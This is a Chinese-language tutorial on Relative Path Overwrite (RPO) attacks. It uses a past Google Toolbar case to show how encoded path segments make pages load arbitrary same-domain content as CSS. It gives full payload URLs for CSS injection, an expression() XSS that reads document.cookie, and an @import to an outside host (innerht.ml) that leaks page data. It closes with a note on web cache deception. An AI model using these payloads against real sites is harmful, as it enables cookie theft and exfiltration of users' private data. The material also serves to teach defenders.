RPO(Relative Path Overwrite) 攻击又称为 攻击,依赖于浏览器和网络服务器的反应, 利用服务器的Web缓存技术和配置差异。
本文中的例子利用css进行攻击,相当于利用页面中相对路径的css进行欺骗,让浏览器将xss代码写进页面中 。
一、 初识RPO攻击
例子 :http://www.google.com/tools/toolbar/buttons/apis/howto_guide.html
网页代码
<html>
<head></head>
<title>Google Toolbar API -Guide to Making Custom Buttons</title>
<link href="../../styles.css" rel="stylesheet"type="text/css"/>
[..]
</html>
jsp 接受路径参数将一切分号作为参数比如path;/notpath 也会被接受作为目录,浏览器会将用户提交的URL编码解码后发给服务器
如果可以使用%2f代替 "/"的话,就可以把 URL写为 http://www.google.com/tools/toolbar/buttons/apis%2fhowto_guide.html
返回正确
- 服务器接收到的是/tools/toolbar/buttons/apis/howto_guide.html
- 浏览器接受到的是 /tools/toolbar/buttons/apis%2fhowto_guide.html
- 页面中导入的样式表 为 /tools /toolbar/buttons/../../ style.css
浏览器认为style.css的根目录是tools/toolbar/buttons,而不是tools/toolbar/button/apis,所以../../style.css跳到了更高一级的目录下。
还有更多的利用空间我们伪造一个目录为fake,就可以导入一个不存在的tools/fake/styles.css
http://www.google.com/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
- 服务器就收到的目录是 /tools /fake/../ toolbar/buttons/apis/howto_guide.html
- 浏览器接收到的目录是/tools/fake/..%2ftoolbar/buttons/apis%2fhowto_guide.html
- 导入的样式表为 /tools/fake/ ..%2ftoolbar/buttons/../../ style.css
浏览器认为fake/和%2ftoolbar是两个不同的目录,这样就可以导入google域名下任意样式表就,找到一个能使用参数导入背景的网页如:
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 &q=%0a{}*{background:red}
网页源码为:
<div id="frontend-directory-page"></div>
<font size="-1"><divclass="resultNotFound"><p>Search <b>-
{}*{background:red}</b> did not match any gadgets
如果http://www.google.com/tools/toolbar/buttons/gallery?foo=bar会自动重定向到
http://www.google.com/gadgets/directory?synd=toolbar&frontpage=1 &foo=bar
就可以直接构造载荷了,因为样式表需要持续的注入所以将xss代码写入url中
构造PayLoad为:
http://www.google.com/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
- 服务器接收到的请求为 /tools/toolbar/buttons/ gallery?q=%0a{}*{background:red}/..// apis/howto_guide.html
- 浏览器接收到的请求为:/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/..%2f/apis/howto_guide.html
- 导入的样式表为:
/tools/toolbar%2fbuttons%3fq%3d%250a%257B%257D%257Bbackground%253Ared%257D/ ..%2f/apis/../../ style.css
/tools/toolbar/buttons/gallery?q=%0a{}*{background:red}/style.css
/gadgets/directory?synd=toolbar&frontpage=1&q=%0a{}*{background:red}/style.css
样式表被成功导入了页面,更进一步可以将CSS XSS代码导入其中 如{xss:experssion(alert(document.cookie))}
PayLoad:
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D*%257Bxss%253Aexpression(alert(document.cookie))%257D/..%2fapis/style.css
弹窗document.cookie。谷歌设置了深度防御 设置请求: X-Content-Type-Options: nosniff 不会将 Google Toolbar 自定义添加按键中的属性插入样式表,而IE9之后才能识别的这个请求,在IE8之前是不识别这个头请求的,其他的浏览器 如firefox和chrome会在读取同域下的数据时忽略这个头请求
二、进一步进行利用
CSS 对导入的一切样式表都采用松散的解析方式,可以导入http://www.google.com/*下的所有页面作为样式表进行解析,如果页面中包括隐私数据和注入点的话我们可以用CSS Magic去偷取,使用条件:
- 注入点应该在隐私数据之前
- 注入点允许%0a,%0c,%0d等空白字符
- 隐私数据不包含段间歇
PayLoad:
http://www.google.com/search?nord=1& q={}%0a@import"//innerht.ml?
@import 是一种不常使用的,容易被前端开发忽视的方法。用来引入css文件,import先于除了@charset外的其他css规则。所以使用@import引入css便可以绕过谷歌的深度防御。
在我们的PayLoad中创建了一个@import"//innerht.ml的引入规则
获得了页面中泄露出来的信息,接着利用在攻击中获得
PayLoad:
http://www.google.com/tools/toolbar/buttons%2fgallery%3fq%3d%250a%257B%257D%2540import%2527%252Fsearch%253Fnord%253D1%2526q%253D%257B%257D%25250a%2540import%252527%252F%252Finnerht.ml%253F%2522/..%2f/apis/howto_guide.html
三、 外传 :
Web 服务器欺骗请求: 当目标网站存在负载服务器时,访问当前页面下,事实上并不存在的css等静态文件时,会在缓存服务器中缓存下存在 用户账号密码的静态文件页面,让攻击者可以直接访问用户账号。
可用于缓存的文件后缀列表:
aif ,aiff,au,avi,bin,bmp,cab,carb,cct,cdf,class,css,doc,dcr,dtd,gcf,gff,gif,grv,hdml,hqx,ico,ini,jpeg,jpg, js,mov,mp3,nc,pct,ppc,pws,swa,swf,txt,vbs,w32,wav,wbmp,wml,wmlc,wmls,wmlsc,xsd,zip